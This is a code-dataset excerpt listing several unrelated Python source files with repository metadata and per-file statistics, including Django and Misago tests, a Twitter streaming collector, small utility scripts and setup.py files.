] | 1 | 2015-07-22T08:13:49.000Z | 2015-07-22T08:13:49.000Z | from django.test import TestCase
from teams.models import Team, Membership
from users.models import User
from django.utils import timezone
from django.core.exceptions import ValidationError
class Membership_team_to_member_test(TestCase):
def setUp(self):
self.user_email = "test@example.com"
self.us... | 28.77193 | 66 | 0.628659 | 198 | 1,640 | 4.984848 | 0.252525 | 0.097264 | 0.052685 | 0.048632 | 0.37386 | 0.218845 | 0.154002 | 0.154002 | 0 | 0 | 0 | 0.01458 | 0.289024 | 1,640 | 56 | 67 | 29.285714 | 0.831904 | 0.010976 | 0 | 0.155556 | 0 | 0 | 0.088272 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.088889 | false | 0.066667 | 0.111111 | 0 | 0.222222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
ddd10413dabfa3094d40ec2cec65e42245aa0100 | 2,416 | py | Python | {{cookiecutter.project_name}}/{{cookiecutter.app_name}}/commons/udf_fields.py | juforg/cookiecutter-flask-restful | 66baa09d5401cc76678fe860074ec7aacc8056b3 | [
"MIT"
] | 1 | 2021-06-09T05:56:14.000Z | 2021-06-09T05:56:14.000Z | {{cookiecutter.project_name}}/{{cookiecutter.app_name}}/commons/udf_fields.py | juforg/cookiecutter-flask-restful | 66baa09d5401cc76678fe860074ec7aacc8056b3 | [
"MIT"
] | null | null | null | {{cookiecutter.project_name}}/{{cookiecutter.app_name}}/commons/udf_fields.py | juforg/cookiecutter-flask-restful | 66baa09d5401cc76678fe860074ec7aacc8056b3 | [
"MIT"
] | 1 | 2021-06-09T05:56:10.000Z | 2021-06-09T05:56:10.000Z | # -*- coding: utf-8 -*-
# Copyright (c) ©2019, Cardinal Operations and/or its affiliates. All rights reserved.
# CARDINAL OPERATIONS PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
# @author: songjie@shanshu.ai
# @date: 2019/10/03
import decimal
import math
import typing
from marshmallow.fields import I... | 35.529412 | 124 | 0.611755 | 309 | 2,416 | 4.679612 | 0.307443 | 0.029046 | 0.053942 | 0.074689 | 0.526971 | 0.509682 | 0.509682 | 0.462656 | 0.355463 | 0.355463 | 0 | 0.00967 | 0.272351 | 2,416 | 67 | 125 | 36.059701 | 0.812287 | 0.09644 | 0 | 0.612245 | 0 | 0 | 0.024079 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.122449 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ddd497bade1a23d5bf9c7cc7f6cb22209bc4b94a | 2,959 | py | Python | params1.py | RebeccaLeh/todolists | 234e5e873374aca9d1af1f40f95832da680decea | [
"Apache-2.0"
] | null | null | null | params1.py | RebeccaLeh/todolists | 234e5e873374aca9d1af1f40f95832da680decea | [
"Apache-2.0"
] | 6 | 2018-09-07T16:00:54.000Z | 2020-01-17T18:26:10.000Z | params1.py | RebeccaLeh/todolists | 234e5e873374aca9d1af1f40f95832da680decea | [
"Apache-2.0"
] | null | null | null | ##################Python Toolbox#########################
class Toolbox(object):
def __init__(self):
self.label = "Homeless Risk Surface"
self.alias = "risk_surface"
# List of tool classes associated with this toolbox
self.tools = [risk_surface]
class CalculateSinuosi... | 33.247191 | 91 | 0.556607 | 228 | 2,959 | 7.149123 | 0.403509 | 0.034356 | 0.06135 | 0.020859 | 0.148466 | 0.148466 | 0.116564 | 0.116564 | 0.116564 | 0.116564 | 0 | 0.003101 | 0.346063 | 2,959 | 88 | 92 | 33.625 | 0.839276 | 0 | 0 | 0.283333 | 0 | 0 | 0.153756 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dde65c582770d28c57663f0b51f492ec06f6bdd7 | 441 | py | Python | parsers/redditupload_parser.py | CharlieCorner/pymage_downloader | d145d2fe8666d4dbbc104bb563fc43415bd8802c | [
"Apache-2.0"
] | null | null | null | parsers/redditupload_parser.py | CharlieCorner/pymage_downloader | d145d2fe8666d4dbbc104bb563fc43415bd8802c | [
"Apache-2.0"
] | 9 | 2018-11-04T23:20:22.000Z | 2020-04-30T05:19:07.000Z | parsers/redditupload_parser.py | CharlieCorner/pymage_downloader | d145d2fe8666d4dbbc104bb563fc43415bd8802c | [
"Apache-2.0"
] | null | null | null | from models.image import RedditPostImage
from parsers.base_parser import BaseParser
from utils.utils import tidy_up_url
class Redditupload(BaseParser):
def get_images(self, post):
images = []
image_url = post.url
image_file = tidy_up_url(image_url) + ".jpg"
image_file = image_file... | 25.941176 | 67 | 0.693878 | 57 | 441 | 5.122807 | 0.45614 | 0.15411 | 0.061644 | 0.123288 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00289 | 0.21542 | 441 | 16 | 68 | 27.5625 | 0.84104 | 0 | 0 | 0 | 0 | 0 | 0.011338 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.272727 | 0 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
ddea19d00593d7284b7530118975143030ed0d1c | 790 | py | Python | python/bbgo/handlers/kline.py | Yukaii/bbgo | 1f1fcdedc450901f9f9dc99bc58eab262003c126 | [
"MIT"
] | null | null | null | python/bbgo/handlers/kline.py | Yukaii/bbgo | 1f1fcdedc450901f9f9dc99bc58eab262003c126 | [
"MIT"
] | null | null | null | python/bbgo/handlers/kline.py | Yukaii/bbgo | 1f1fcdedc450901f9f9dc99bc58eab262003c126 | [
"MIT"
] | null | null | null | from ..data import MarketDataEvent
from ..enums import ChannelType
from ..enums import EventType
from .handler import Handler
class KLineHandler(Handler):
def __call__(self, event: MarketDataEvent) -> None:
if event.channel_type != ChannelType.KLINE:
return
super(KLineHandler, self).... | 24.6875 | 57 | 0.697468 | 79 | 790 | 6.632911 | 0.316456 | 0.040076 | 0.062977 | 0.091603 | 0.354962 | 0.354962 | 0.354962 | 0.354962 | 0.274809 | 0.274809 | 0 | 0 | 0.213924 | 790 | 31 | 58 | 25.483871 | 0.8438 | 0 | 0 | 0.315789 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.157895 | false | 0 | 0.210526 | 0 | 0.684211 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
ddf6da45daf3e624a657d057b16f1f98cd81a1d0 | 472 | py | Python | src/plugins/random/lang.py | inuEbisu/inuBot | 70bc139100a49983418a9fd7709f2f4899f0c6ea | [
"MIT"
] | null | null | null | src/plugins/random/lang.py | inuEbisu/inuBot | 70bc139100a49983418a9fd7709f2f4899f0c6ea | [
"MIT"
] | null | null | null | src/plugins/random/lang.py | inuEbisu/inuBot | 70bc139100a49983418a9fd7709f2f4899f0c6ea | [
"MIT"
] | null | null | null | help_guide = '''命令和二级命令均可只写首字母
/random help - 查阅帮助
/random - 在 [0, 100] 间取一个随机数
/random <数量> - 在 [0, 100] 间取若干个随机数
/random <a> <b> - 在 [a, b] 间取一个随机数
/random <a> <b> <数量> - 在 [a, b] 间取若干个随机数
/random bool - 取随机布尔值(True or False)
/random shuffle <序列> - 打乱该序列
/random choice <序列> - 在序列中挑一个元素
/random choice <序列> <数量> - 在序列中... | 23.6 | 40 | 0.603814 | 71 | 472 | 4 | 0.577465 | 0.028169 | 0.035211 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062016 | 0.180085 | 472 | 20 | 41 | 23.6 | 0.671835 | 0 | 0 | 0 | 0 | 0 | 0.938689 | 0.052854 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ddf7b9342907179df13feabeea97658e16975ede | 846 | py | Python | setup.py | BlackWizard/django-misc-base | 892752f4c4553e2b936b8be861639f2d8141b57e | [
"BSD-2-Clause"
] | null | null | null | setup.py | BlackWizard/django-misc-base | 892752f4c4553e2b936b8be861639f2d8141b57e | [
"BSD-2-Clause"
] | null | null | null | setup.py | BlackWizard/django-misc-base | 892752f4c4553e2b936b8be861639f2d8141b57e | [
"BSD-2-Clause"
] | null | null | null | from setuptools import setup, find_packages
setup(
name='django-misc-base',
version='1.1.1',
description='Base miscellaneous packages for django.',
long_description=open('README.md').read(),
author='BlackWizard',
author_email='BlackWizard@mail.ru',
url='http://github.com/BlackWizard/django-... | 29.172414 | 58 | 0.630024 | 85 | 846 | 6.176471 | 0.741176 | 0.045714 | 0.053333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004594 | 0.228132 | 846 | 28 | 59 | 30.214286 | 0.799387 | 0 | 0 | 0.074074 | 0 | 0 | 0.462175 | 0.029551 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.037037 | 0 | 0.037037 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fb08eb57b93b11e1905b1537ad23a3fe05b60601 | 2,343 | py | Python | misago/users/tests/test_auth_backend.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | 1 | 2017-07-25T03:04:36.000Z | 2017-07-25T03:04:36.000Z | misago/users/tests/test_auth_backend.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | null | null | null | misago/users/tests/test_auth_backend.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | null | null | null | from django.contrib.auth import get_user_model
from django.test import TestCase
from misago.users.authbackends import MisagoBackend
UserModel = get_user_model()
backend = MisagoBackend()
class MisagoBackendTests(TestCase):
def setUp(self):
self.password = 'Pass.123'
self.user = UserModel.objec... | 27.892857 | 95 | 0.629108 | 253 | 2,343 | 5.6917 | 0.225296 | 0.083333 | 0.05 | 0.09375 | 0.566667 | 0.497222 | 0.404861 | 0.404861 | 0.213889 | 0.175 | 0 | 0.002347 | 0.272727 | 2,343 | 83 | 96 | 28.228916 | 0.842723 | 0.128041 | 0 | 0.481481 | 0 | 0 | 0.027473 | 0 | 0 | 0 | 0 | 0 | 0.148148 | 1 | 0.166667 | false | 0.148148 | 0.055556 | 0 | 0.240741 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
fb225a670f697a8e88aa258ea97d2f655d985ea3 | 409 | py | Python | setup.py | skyguidance/pytorch-summary | 8bea8a8b9160e6136a1e206798ab6babd72659bd | [
"MIT"
] | 1 | 2021-01-13T15:40:52.000Z | 2021-01-13T15:40:52.000Z | setup.py | skyguidance/pytorch-summary | 8bea8a8b9160e6136a1e206798ab6babd72659bd | [
"MIT"
] | null | null | null | setup.py | skyguidance/pytorch-summary | 8bea8a8b9160e6136a1e206798ab6babd72659bd | [
"MIT"
] | null | null | null | from setuptools import setup, find_packages
setup(
name="torchsummary",
version="1.5.1.1",
description="(Advanced Pytorch-Summary)Model summary in PyTorch similar to `model.summary()` in Keras",
url="https://github.com/sksq96/pytorch-summary",
author="(Modified)skyguidance - (Original)Shubham Chand... | 34.083333 | 107 | 0.716381 | 50 | 409 | 5.82 | 0.68 | 0.09622 | 0.09622 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022663 | 0.136919 | 409 | 11 | 108 | 37.181818 | 0.8017 | 0 | 0 | 0 | 0 | 0 | 0.584352 | 0.156479 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.1 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fb295ed43110af27964814406c5f3c577a8365b0 | 3,229 | py | Python | src/pyphocorehelpers/general_helpers.py | CommanderPho/pyPhoCoreHelpers | 1872cc9779d3ec936077be1df867fc13bc7f177a | [
"MIT"
] | null | null | null | src/pyphocorehelpers/general_helpers.py | CommanderPho/pyPhoCoreHelpers | 1872cc9779d3ec936077be1df867fc13bc7f177a | [
"MIT"
] | null | null | null | src/pyphocorehelpers/general_helpers.py | CommanderPho/pyPhoCoreHelpers | 1872cc9779d3ec936077be1df867fc13bc7f177a | [
"MIT"
] | null | null | null | from typing import Callable, List, Optional, OrderedDict # for OrderedMeta
from enum import Enum
class OrderedMeta(type):
"""Replaces the inheriting object's dict of attributes with an OrderedDict that preserves enumeration order
Reference: https://stackoverflow.com/questions/11296010/iterate-through-class-... | 32.94898 | 245 | 0.662124 | 420 | 3,229 | 4.861905 | 0.428571 | 0.019589 | 0.026934 | 0.033301 | 0.188541 | 0.119491 | 0.072478 | 0.072478 | 0.072478 | 0.072478 | 0 | 0.022634 | 0.247445 | 3,229 | 97 | 246 | 33.28866 | 0.817695 | 0.633942 | 0 | 0 | 0 | 0 | 0.023 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.1 | 0.033333 | 0.7 | 0.033333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
fb336044261dc87bfa66a937f3949a5af77c279f | 585 | py | Python | backend/prog-hist/backend/src/code/test/playground/chapter02_11.py | halilagin/d3studies | fbcf50a845cd17bcb469a428afce9854b1b63971 | [
"CC0-1.0"
] | null | null | null | backend/prog-hist/backend/src/code/test/playground/chapter02_11.py | halilagin/d3studies | fbcf50a845cd17bcb469a428afce9854b1b63971 | [
"CC0-1.0"
] | null | null | null | backend/prog-hist/backend/src/code/test/playground/chapter02_11.py | halilagin/d3studies | fbcf50a845cd17bcb469a428afce9854b1b63971 | [
"CC0-1.0"
] | null | null | null | import code.book_plots as bp
import code.gh_internal as gh
import matplotlib.pyplot as plt
import matplotlib.pyplot as plt
import numpy as np;
from filterpy.discrete_bayes import normalize
def scaled_update (hall, belief, z, prob):
scale_ = prob/(1-prob)
belief[hall==1] *=scale_
normalize(belief)
... | 21.666667 | 50 | 0.690598 | 95 | 585 | 4.168421 | 0.410526 | 0.025253 | 0.030303 | 0.030303 | 0.166667 | 0.151515 | 0 | 0 | 0 | 0 | 0 | 0.040984 | 0.165812 | 585 | 26 | 51 | 22.5 | 0.770492 | 0 | 0 | 0.105263 | 0 | 0 | 0.022222 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0.315789 | 0 | 0.368421 | 0.105263 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
fb34d18deae66f8ecd014a3d3e60c7173be76565 | 1,669 | py | Python | pyqt/getting_started/procedural_signals.py | CospanDesign/python | 9f911509aae7abd9237c14a4635294c7719c9129 | [
"MIT"
] | 5 | 2015-12-12T20:16:45.000Z | 2020-02-21T19:50:31.000Z | pyqt/getting_started/procedural_signals.py | CospanDesign/python | 9f911509aae7abd9237c14a4635294c7719c9129 | [
"MIT"
] | null | null | null | pyqt/getting_started/procedural_signals.py | CospanDesign/python | 9f911509aae7abd9237c14a4635294c7719c9129 | [
"MIT"
] | 2 | 2020-06-01T06:27:06.000Z | 2022-03-10T13:21:03.000Z | # Copyright (c) 2014 Dave McCoy (dave.mccoy@cospandesign.com)
# This file is part of Nysa (wiki.cospandesign.com/index.php?title=Nysa).
#
# Nysa is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version ... | 26.919355 | 73 | 0.690234 | 232 | 1,669 | 4.866379 | 0.521552 | 0.031887 | 0.034544 | 0.050487 | 0.072631 | 0.049601 | 0 | 0 | 0 | 0 | 0 | 0.008494 | 0.224086 | 1,669 | 61 | 74 | 27.360656 | 0.86332 | 0.418814 | 0 | 0 | 0 | 0 | 0.062032 | 0.028877 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.269231 | null | null | 0.038462 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fb3e8693e5f54a2d6dff702aa0395d00f2c59d16 | 1,478 | py | Python | data-science-rafa-carrasco/back-end-challenge/myapp/json_methods.py | erdos2n/Interview | 8feb139a42e80e13967f0f6476fcdcf24bb3471e | [
"MIT"
] | null | null | null | data-science-rafa-carrasco/back-end-challenge/myapp/json_methods.py | erdos2n/Interview | 8feb139a42e80e13967f0f6476fcdcf24bb3471e | [
"MIT"
] | null | null | null | data-science-rafa-carrasco/back-end-challenge/myapp/json_methods.py | erdos2n/Interview | 8feb139a42e80e13967f0f6476fcdcf24bb3471e | [
"MIT"
] | null | null | null | import os
import json
def load_data(filepath="data", filename="arrays.json"):
full_file_path=os.path.join(filepath, filename)
with open(full_file_path, 'r') as f:
lst = json.load(f)
return lst
def check_data(data):
error = "Data Error: {}"
passed = True
if not data:
passed = F... | 26.872727 | 76 | 0.606901 | 203 | 1,478 | 4.275862 | 0.334975 | 0.0553 | 0.082949 | 0.089862 | 0.434332 | 0.317972 | 0.317972 | 0.317972 | 0.317972 | 0.317972 | 0 | 0.010157 | 0.267253 | 1,478 | 55 | 77 | 26.872727 | 0.79132 | 0 | 0 | 0.26087 | 0 | 0 | 0.124408 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.086957 | false | 0.130435 | 0.043478 | 0 | 0.23913 | 0.021739 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
3488073bffd9c26211ae1013fb2996b6608a6c20 | 604 | py | Python | python_turtle/tiktok5.py | Perceu/tiktok | c3da4d0a6300867737c1574a552100bdf5eed10f | [
"MIT"
] | null | null | null | python_turtle/tiktok5.py | Perceu/tiktok | c3da4d0a6300867737c1574a552100bdf5eed10f | [
"MIT"
] | null | null | null | python_turtle/tiktok5.py | Perceu/tiktok | c3da4d0a6300867737c1574a552100bdf5eed10f | [
"MIT"
] | null | null | null | from turtle import Screen, Turtle
screen = Screen()
screen.setup(width=1.0, height=1.0)
turtle = Turtle()
turtle.speed(0)
turtle.hideturtle()
count = 1
turtle.left(90)
def desenhar_arvore(tm_tronco):
if tm_tronco < 5:
turtle.color("pink")
turtle.circle(3)
turtle.color("black")
return... | 25.166667 | 40 | 0.639073 | 81 | 604 | 4.641975 | 0.444444 | 0.12766 | 0.12766 | 0.175532 | 0.159574 | 0.159574 | 0.159574 | 0 | 0 | 0 | 0 | 0.049784 | 0.235099 | 604 | 24 | 41 | 25.166667 | 0.764069 | 0 | 0 | 0.166667 | 0 | 0 | 0.014876 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.041667 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
348fb0decb0290d20d7f6718db47a655fb3cf95d | 1,997 | py | Python | api/api/urls.py | dmitryro/django-starter | 59a61500664285cfadad16fa127a85f0cee3b3c1 | [
"MIT"
] | null | null | null | api/api/urls.py | dmitryro/django-starter | 59a61500664285cfadad16fa127a85f0cee3b3c1 | [
"MIT"
] | 6 | 2020-06-05T22:49:59.000Z | 2021-06-10T18:53:10.000Z | api/api/urls.py | dmitryro/django-starter | 59a61500664285cfadad16fa127a85f0cee3b3c1 | [
"MIT"
] | null | null | null | """demo URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based vi... | 38.403846 | 79 | 0.720581 | 271 | 1,997 | 5.195572 | 0.354244 | 0.02983 | 0.048295 | 0.017045 | 0.21804 | 0.142756 | 0.112926 | 0.059659 | 0 | 0 | 0 | 0.004725 | 0.152228 | 1,997 | 51 | 80 | 39.156863 | 0.825162 | 0.310466 | 0 | 0.0625 | 0 | 0 | 0.185401 | 0.019708 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.3125 | 0 | 0.3125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
349ef086fcc2ea2690e53b145eecf4007d7b597a | 1,526 | py | Python | rc_phase2/execute.py | blindedjoy/Reservoir | ee5b2a37df9ac69c8f6632f520b7f0ebcf43e707 | [
"MIT"
] | null | null | null | rc_phase2/execute.py | blindedjoy/Reservoir | ee5b2a37df9ac69c8f6632f520b7f0ebcf43e707 | [
"MIT"
] | null | null | null | rc_phase2/execute.py | blindedjoy/Reservoir | ee5b2a37df9ac69c8f6632f520b7f0ebcf43e707 | [
"MIT"
] | null | null | null | #!/bin/bash/python
from reservoir import *
from PyFiles.imports import *
from PyFiles.helpers import *
from PyFiles.experiment import *
experiment = EchoStateExperiment(size = "medium", target_frequency = 2000, obs_hz = 30, target_hz = 10, verbose = False)
experiment.get_observers(method = "freq", split = 0.5, aspe... | 24.612903 | 120 | 0.641547 | 201 | 1,526 | 4.676617 | 0.572139 | 0.051064 | 0.034043 | 0.051064 | 0.098936 | 0.098936 | 0.098936 | 0.098936 | 0 | 0 | 0 | 0.063063 | 0.199869 | 1,526 | 61 | 121 | 25.016393 | 0.706798 | 0.121232 | 0 | 0 | 0 | 0 | 0.198953 | 0 | 0 | 0 | 0 | 0.016393 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
34a52fa2acdaef51df3135242e191acd2b1c7f09 | 973 | py | Python | KorAPClient/tests/test_korapclient.py | morckx/PythonKorAPClient | cafdbb7399841b180600eee63ab525a4556cb676 | [
"BSD-2-Clause"
] | null | null | null | KorAPClient/tests/test_korapclient.py | morckx/PythonKorAPClient | cafdbb7399841b180600eee63ab525a4556cb676 | [
"BSD-2-Clause"
] | null | null | null | KorAPClient/tests/test_korapclient.py | morckx/PythonKorAPClient | cafdbb7399841b180600eee63ab525a4556cb676 | [
"BSD-2-Clause"
] | null | null | null | import unittest
from KorAPClient import KorAPConnection
class TestKorAPClient(unittest.TestCase):
def setUp(self):
self.kcon = KorAPConnection(verbose=True)
def test_query(self):
q = self.kcon.corpusQuery("Test")
self.assertEqual(q.slots['class'], 'KorAPQuery')
def test_frequency... | 32.433333 | 96 | 0.656732 | 118 | 973 | 5.237288 | 0.364407 | 0.07767 | 0.092233 | 0.045307 | 0.171521 | 0.122977 | 0 | 0 | 0 | 0 | 0 | 0.020075 | 0.180884 | 973 | 29 | 97 | 33.551724 | 0.755333 | 0 | 0 | 0 | 0 | 0 | 0.131552 | 0 | 0 | 0 | 0 | 0 | 0.238095 | 1 | 0.238095 | false | 0 | 0.095238 | 0 | 0.380952 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
34af8f9d5ea4845033f7778b52b2ec8340cc2473 | 3,102 | py | Python | stats/twitterstream.py | fearless-spider/python_playground | 5150b2de09736d68558f4c159e110a7ebbe29bfc | [
"BSD-3-Clause"
] | null | null | null | stats/twitterstream.py | fearless-spider/python_playground | 5150b2de09736d68558f4c159e110a7ebbe29bfc | [
"BSD-3-Clause"
] | null | null | null | stats/twitterstream.py | fearless-spider/python_playground | 5150b2de09736d68558f4c159e110a7ebbe29bfc | [
"BSD-3-Clause"
] | null | null | null | #! /usr/bin/env python
# -*- coding: utf-8 -*-
import pycurl
import traceback
from statsdb import db_open, db_close, get_twitter_teams, insert_twitt
from statsutils import replace_nonascii, get_twitter_date2, debug, send_mail
import daemon
import json
import Queue
import threading
__author__ = 'bespider'
STREAM_URL =... | 33.717391 | 109 | 0.521599 | 351 | 3,102 | 4.39886 | 0.350427 | 0.03886 | 0.062176 | 0.028497 | 0.073834 | 0.055699 | 0.033679 | 0.033679 | 0.033679 | 0 | 0 | 0.018084 | 0.340426 | 3,102 | 91 | 110 | 34.087912 | 0.736559 | 0.061251 | 0 | 0.131579 | 0 | 0 | 0.105644 | 0.009635 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.039474 | 0.105263 | null | null | 0.078947 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
34b06cbb3bbd971048f5208715f9397d8d260475 | 268 | py | Python | tools/scripts/sha_passgen.py | joeedh/webblender | 552d8eaa762af447346343be244647c316ae32f1 | [
"Apache-2.0"
] | 1 | 2015-05-22T14:11:17.000Z | 2015-05-22T14:11:17.000Z | tools/scripts/sha_passgen.py | joeedh/webblender | 552d8eaa762af447346343be244647c316ae32f1 | [
"Apache-2.0"
] | 2 | 2021-09-02T20:01:35.000Z | 2022-01-26T19:47:35.000Z | tools/scripts/sha_passgen.py | joeedh/fairmotion | 5c322fc012cdd94ddc2f21d68264c845b3c2c770 | [
"MIT"
] | null | null | null | import sys, hashlib, base64
if len(sys.argv) < 2:
sys.stderr.write("usage: sha_passgen.py password")
sys.exit(-1)
pas = sys.argv[1]
hash = hashlib.sha1()
hash.update(bytes(pas, "latin-1"))
hash = hash.digest()
ret = b"{SHA}"+base64.b64encode(hash)
